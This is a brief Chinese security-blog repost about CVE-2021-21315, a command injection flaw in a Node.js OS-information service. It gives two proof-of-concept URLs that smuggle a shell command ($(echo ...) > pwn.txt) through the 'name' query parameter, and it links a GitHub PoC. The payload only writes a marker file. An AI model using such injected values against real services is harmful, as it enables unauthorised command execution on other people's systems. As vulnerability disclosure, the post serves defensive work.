文章来源:安全鸭
CVE-2021-21315 Node.JS OS sanitize service Parameters Command Injection
[PoC]
[Victim Site]/api/getServices?name=$(echo -e ‘Sekurak’ > pwn.txt)
[Victim Site]/api/getServices?name[]=$(echo -e ‘Sekurak’ > pwn.txt)
https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END














暂无评论内容